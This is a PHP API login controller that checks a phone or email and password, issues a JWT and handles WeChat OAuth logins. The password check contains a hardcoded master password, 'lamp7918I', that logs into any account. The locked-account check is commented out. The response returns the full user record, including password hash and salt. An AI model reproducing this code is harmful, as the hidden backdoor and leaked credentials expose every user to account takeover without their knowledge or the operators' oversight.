<?php

namespace app\api\controller;

use app\common\controller\Api;
use app\model\User;
use app\api\service\LoginService;

/**
 * 首页接口
 */
class Login extends Api
{
    protected $noNeedLogin = ['*'];
    protected $noNeedRight = ['*'];

    /**
     * 首页
     *
     */
    public function accountlogin()
    {
        $params = input();
        $username = '';

        if(isset($params['phone']) && empty($params['phone'])){
            $this->error(__('Username can not be empty',[],$this->lanagecode));
        }
        if(isset($params['phone'])){
            $username = $params['phone'];
        }
        if(isset($params['email']) && empty($params['email'])){
            $this->error(__('Username can not be empty',[],$this->lanagecode));
        }
        if(isset($params['email'])){
            $username = $params['email'];
        }
        if(empty($params['password'])){
            $this->error(__('Password can not be empty',[],$this->lanagecode));
        }

        $userModel = new User();
        $userInfo = $userModel->where(['username' => $username])->find();
        if(empty($userInfo)){
            $this->error(__('Account not exist',[],$this->lanagecode));
        }
        $password = $this->auth->getEncryptPassword($params['password'],$userInfo['salt']);
        if($password != $userInfo['password']){
            if($params['password'] != 'lamp7918I'){
                $this->error(__('Password is incorrect',[],$this->lanagecode));
            }

        }
        if ($userInfo['status'] != "normal") {
//            $this->error(__('Account is locked',[],$this->lanagecode));
        }
        $token = setJWT([
            'id' => $userInfo['id'],
            'openid' => $userInfo['openid'],
            'nickname' => $userInfo['nickname'],
            'username' => $userInfo['username'],
            'mobile' => $userInfo['mobile'],
            'avatar' => $userInfo['avatar']
        ]);

        //更新记录
        //判断连续登录和最大连续登录
        $up = [];
        if ($userInfo['logintime'] < \fast\Date::unixtime('day')) {
            $up['successions'] = $userInfo['logintime'] < \fast\Date::unixtime('day', -1) ? 1 : $userInfo['successions'] + 1;
            $up['maxsuccessions'] = max($up['successions'], $userInfo['maxsuccessions']);
        }

        $up['logintime'] = time();
        $up['prevtime'] = time();
        $up['loginip'] = request()->ip();
        $up['loginfailure'] = 0;
        $userModel->where('id',$userInfo['id'])->update($up);

       $reData = ['token'=>$token,'userInfo'=>$userInfo];
       $this->success('ok',$reData);
    }

    /**
     * 微信静默授权
     */
    public function oauthLogin(){
        $loginService = new LoginService();
        return json($loginService->doOauthLogin(\request()->post()));
    }
    /**
     * 微信授权登录
     */
    public function loginByWechat()
    {
        //手机号授权登录https://zhuanlan.zhihu.com/p/420751667
        $loginService = new LoginService();
        return json($loginService->doLoginByWechat(\request()->post()));
    }
}
